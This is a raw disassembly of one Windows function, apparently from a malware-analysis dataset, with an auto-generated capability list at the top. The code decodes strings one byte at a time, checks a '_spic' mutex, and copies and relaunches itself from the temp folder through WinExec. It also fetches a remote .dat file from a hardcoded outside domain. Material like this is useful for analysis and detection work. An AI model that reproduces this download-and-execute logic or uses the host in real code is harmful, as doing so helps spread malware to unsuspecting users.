Function at 0x40a716
Capabilities:
Check mutex on windows
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54b077
mov eax, dword fs:[0]
push eax
sub esp, 0xe60
mov eax, dword [0x59de90]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xdfc], ecx
push 0
call fcn.00429f38
pop ecx
lea ecx, [ebp - 0x298]
call fcn.004272e4
and dword [ebp - 4], 0
lea eax, [ebp - 0x298]
push eax
mov ecx, dword [ebp - 0xdfc]
call fcn.004265a9
lea ecx, [ebp - 0x280]
call fcn.00424311
push eax
mov ecx, 0x5a7860
call fcn.00401547
push 0
push str..exe
mov ecx, 0x5a7860
call fcn.00409a70
cmp eax, dword [0x57b7c8]
je 0x40a7d5
push 0
mov ecx, 0x5a7860
call fcn.00401c04
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
and dword [ebp - 0xde8], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.0042734e
mov eax, dword [ebp - 0xde8]
jmp 0x40b3c9
mov ecx, dword [ebp - 0xdfc]
call fcn.0040a293
call fcn.0041119c
push 0
call fcn.0040b550
pop ecx
push eax
call fcn.00525f68
pop ecx
call fcn.00525f7a
add eax, 0x32
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x3c4]
and eax, 0x80000001
jns 0x40a814
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x40a829
mov eax, dword [ebp - 0x3c4]
add eax, 0xf0
mov dword [ebp - 0x3c4], eax
lea ecx, [ebp - 0x400]
call fcn.00401b3b
mov byte [ebp - 4], 1
push 0x577edc
lea ecx, [ebp - 0x400]
call fcn.00401547
push 0x5d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x41
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x49
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x35
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x3d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0x400]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0x400]
call fcn.00404a3d
lea ecx, [ebp - 0x400]
call fcn.00401c04
push eax
push 0x577ee0
call fcn.00525eab
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x3e4]
push eax
push dword [ebp - 0x3c4]
call fcn.0053e158
add esp, 0xc
push 0x39
lea ecx, [ebp - 0x400]
call fcn.00404a3d
lea ecx, [ebp - 0x400]
call fcn.00401c04
push eax
lea eax, [ebp - 0x3e4]
push eax
push 0x577ee4
call fcn.00525eab
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x400]
call fcn.00401be7
and dword [ebp - 0x84], 0
push 0x104
lea eax, [ebp - 0x3a4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3a4]
push eax
mov ecx, 0x5a787c
call fcn.00401547
push dword [0x57b7c8]
push 0x577eec
mov ecx, 0x5a787c
call fcn.0040b45c
inc eax
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, 0x5a787c
call fcn.00404a6b
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0xe00]
mov dword [ebp - 0xe04], eax
mov byte [ebp - 4], 2
push dword [ebp - 0xe04]
mov ecx, 0x5a787c
call fcn.00404a0a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00401be7
lea eax, [ebp - 0x3a4]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.0040499f
mov byte [ebp - 4], 3
push dword [0x57b7c8]
push dword [0x57b7c8]
push 0x5c
lea ecx, [ebp - 0x3c0]
call fcn.0041e361
inc eax
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.00404a6b
mov dword [ebp - 0xe08], eax
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0xe0c], eax
mov byte [ebp - 4], 4
push dword [ebp - 0xe0c]
lea ecx, [ebp - 0x3c0]
call fcn.00404a0a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48]
call fcn.00401be7
mov ecx, 0x5a787c
call fcn.00401c04
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.skin
push 0x5a787c
lea eax, [ebp - 0x64]
push eax
call fcn.00404cc4
add esp, 0xc
mov dword [ebp - 0xe10], eax
mov eax, dword [ebp - 0xe10]
mov dword [ebp - 0xe14], eax
mov byte [ebp - 4], 5
push dword [ebp - 0xe14]
mov ecx, 0x5a7844
call fcn.00404a0a
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x64]
call fcn.00401be7
lea eax, [ebp - 0x26c]
push eax
mov ecx, 0x5a7844
call fcn.00401c04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x8c], eax
push 0x5c
mov ecx, 0x5a7844
call fcn.00404a3d
cmp dword [ebp - 0x8c], 0
je 0x40ab1c
movsx eax, byte [ebp - 0x240]
cmp eax, 0x73
jne 0x40ab1c
movsx eax, byte [ebp - 0x23f]
cmp eax, 0x4b
jne 0x40ab1c
mov dword [ebp - 0x84], 1
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call fcn.0040b550
pop ecx
push eax
call fcn.00525f68
pop ecx
call fcn.00525f7a
add eax, 0x32
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
and eax, 0x80000001
jns 0x40ab57
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x40ab6c
mov eax, dword [ebp - 0x404]
add eax, 0xf0
mov dword [ebp - 0x404], eax
lea ecx, [ebp - 0x440]
call fcn.00401b3b
mov byte [ebp - 4], 6
push 0x577ef8
lea ecx, [ebp - 0x440]
call fcn.00401547
push 0x5d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x41
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x49
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x35
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x3d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0x440]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0x440]
call fcn.00404a3d
lea ecx, [ebp - 0x440]
call fcn.00401c04
push eax
push 0x577efc
call fcn.00525eab
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 0x404]
call fcn.0053e158
add esp, 0xc
push 0x39
lea ecx, [ebp - 0x440]
call fcn.00404a3d
lea ecx, [ebp - 0x440]
call fcn.00401c04
push eax
lea eax, [ebp - 0x424]
push eax
push 0x577f00
call fcn.00525eab
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x440]
call fcn.00401be7
mov eax, dword [ebp - 0xdfc]
mov eax, dword [eax + 0x48]
mov dword [ebp - 0xe18], eax
mov eax, dword [ebp - 0xe18]
inc eax
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0xe18]
mov al, byte [eax]
mov byte [ebp - 0xe1d], al
inc dword [ebp - 0xe18]
cmp byte [ebp - 0xe1d], 0
jne 0x40acd5
mov eax, dword [ebp - 0xe18]
sub eax, dword [ebp - 0xe1c]
mov dword [ebp - 0xe24], eax
jne 0x40b346
cmp dword [ebp - 0x84], 0
je 0x40b316
lea eax, [ebp - 0x66c]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
lea eax, [ebp - 0x66c]
push eax
mov ecx, 0x5a787c
call fcn.00409a70
cmp eax, dword [0x57b7c8]
jne 0x40afb6
lea eax, [ebp - 0x66c]
push eax
mov ecx, 0x5a787c
call fcn.00401c04
push eax
call fcn.0040a325
pop ecx
pop ecx
push 0x5a787c
lea ecx, [ebp - 0x68c]
call fcn.0040b3e2
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x68c]
call fcn.00417fd7
dec eax
push eax
lea ecx, [ebp - 0x68c]
call fcn.00401c15
push dword [0x57b7c8]
push dword [0x57b7c8]
push 0x5c
lea ecx, [ebp - 0x68c]
call fcn.0041e361
inc eax
push eax
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x68c]
call fcn.00404a6b
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe28]
mov dword [ebp - 0xe2c], eax
mov byte [ebp - 4], 8
push dword [ebp - 0xe2c]
lea ecx, [ebp - 0x68c]
call fcn.00404a0a
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x80]
call fcn.00401be7
lea ecx, [ebp - 0x68c]
call fcn.00401c04
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0xe30]
mov al, byte [eax]
mov byte [ebp - 0xe35], al
inc dword [ebp - 0xe30]
cmp byte [ebp - 0xe35], 0
jne 0x40ae07
mov eax, dword [ebp - 0xe30]
sub eax, dword [ebp - 0xe34]
mov ecx, dword [ebp - 0xe34]
mov dword [ebp - 0xe3c], ecx
mov dword [ebp - 0xe40], eax
lea eax, [ebp - 0x66c]
dec eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe44]
mov al, byte [eax + 1]
mov byte [ebp - 0xe45], al
inc dword [ebp - 0xe44]
cmp byte [ebp - 0xe45], 0
jne 0x40ae4f
mov edi, dword [ebp - 0xe44]
mov esi, dword [ebp - 0xe3c]
mov eax, dword [ebp - 0xe40]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x66c]
dec eax
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0xe4c]
mov al, byte [eax + 1]
mov byte [ebp - 0xe4d], al
inc dword [ebp - 0xe4c]
cmp byte [ebp - 0xe4d], 0
jne 0x40ae9a
mov edi, dword [ebp - 0xe4c]
mov esi, 0x577f08
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x3c0]
call fcn.00401c04
mov dword [ebp - 0xe54], eax
mov eax, dword [ebp - 0xe54]
mov dword [ebp - 0xe58], eax
mov eax, dword [ebp - 0xe54]
mov al, byte [eax]
mov byte [ebp - 0xe59], al
inc dword [ebp - 0xe54]
cmp byte [ebp - 0xe59], 0
jne 0x40aee2
mov eax, dword [ebp - 0xe54]
sub eax, dword [ebp - 0xe58]
mov ecx, dword [ebp - 0xe58]
mov dword [ebp - 0xe60], ecx
mov dword [ebp - 0xe64], eax
lea eax, [ebp - 0x66c]
dec eax
mov dword [ebp - 0xe68], eax
mov eax, dword [ebp - 0xe68]
mov al, byte [eax + 1]
mov byte [ebp - 0xe69], al
inc dword [ebp - 0xe68]
cmp byte [ebp - 0xe69], 0
jne 0x40af2a
mov edi, dword [ebp - 0xe68]
mov esi, dword [ebp - 0xe60]
mov eax, dword [ebp - 0xe64]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
and dword [ebp - 0xdec], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x68c]
call fcn.00401be7
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c0]
call fcn.00401be7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.0042734e
mov eax, dword [ebp - 0xdec]
jmp 0x40b3c9
push str._spic
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b002
and dword [ebp - 0xdf0], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c0]
call fcn.00401be7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.0042734e
mov eax, dword [ebp - 0xdf0]
jmp 0x40b3c9
and dword [ebp - 0x444], 0
and dword [ebp - 0x670], 0
mov dword [ebp - 0x44c], 5
mov eax, dword [ebp - 0x44c]
mov ecx, dword [ebp - 0x44c]
dec ecx
mov dword [ebp - 0x44c], ecx
test eax, eax
je 0x40b150
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x448]
push eax
push str.http:__jp.config.168hda.com_res_nozz_3bO2.dat
call fcn.004095e6
add esp, 0x10
movzx eax, al
test eax, eax
je 0x40b14b
cmp dword [ebp - 0x670], 0x194
jne 0x40b073
jmp 0x40b150
lea ecx, [ebp - 0xda4]
call fcn.00415240
lea ecx, [ebp - 0x6a8]
call fcn.00401b3b
mov byte [ebp - 4], 9
push 0x64
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x65
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x73
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x5f
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x6e
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x6f
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x7a
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
push 0x7a
lea ecx, [ebp - 0x6a8]
call fcn.00404a3d
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0x6a8]
call fcn.00401c04
push eax
push dword [ebp - 0x444]
push dword [ebp - 0x448]
lea ecx, [ebp - 0xda4]
call fcn.00403f81
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0
je 0x40b13a
push dword [ebp - 0x6b0]
call fcn.00408aa6
pop ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6a8]
call fcn.00401be7
jmp 0x40b150
jmp 0x40b01a
push 0
call fcn.0040b550
pop ecx
push eax
call fcn.00525f68
pop ecx
call fcn.00525f7a
add eax, 0x32
mov dword [ebp - 0xda8], eax
mov eax, dword [ebp - 0xda8]
and eax, 0x80000001
jns 0x40b17f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x40b194
mov eax, dword [ebp - 0xda8]
add eax, 0xf0
mov dword [ebp - 0xda8], eax
lea ecx, [ebp - 0xde4]
call fcn.00401b3b
mov byte [ebp - 4], 0xa
push 0x577f44
lea ecx, [ebp - 0xde4]
call fcn.00401547
push 0x5d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x41
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x49
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x35
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x3d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x4d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x39
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x5d
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
push 0x45
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
lea ecx, [ebp - 0xde4]
call fcn.00401c04
push eax
push 0x577f48
call fcn.00525eab
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0xdc8]
push eax
push dword [ebp - 0xda8]
call fcn.0053e158
add esp, 0xc
push 0x39
lea ecx, [ebp - 0xde4]
call fcn.00404a3d
lea ecx, [ebp - 0xde4]
call fcn.00401c04
push eax
lea eax, [ebp - 0xdc8]
push eax
push str._s__s_
call fcn.00525eab
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xde4]
call fcn.00401be7
push 0
push 0
push 0
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40b314
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40b2e1
jmp 0x40b346
and dword [ebp - 0xdf4], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c0]
call fcn.00401be7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.0042734e
mov eax, dword [ebp - 0xdf4]
jmp 0x40b3c9
cmp dword [ebp - 0x84], 0
je 0x40b35e
push 5
lea eax, [ebp - 0x3a4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea ecx, [ebp - 0x12c]
call fcn.0040ba76
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0xdfc]
lea ecx, [ebp - 0x12c]
mov dword [eax + 0x20], ecx
lea ecx, [ebp - 0x12c]
call fcn.0042b342
mov dword [ebp - 0x88], eax
and dword [ebp - 0xdf8], 0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x12c]
call fcn.0040ba4d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c0]
call fcn.00401be7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.0042734e
mov eax, dword [ebp - 0xdf8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00524b49
leave
ret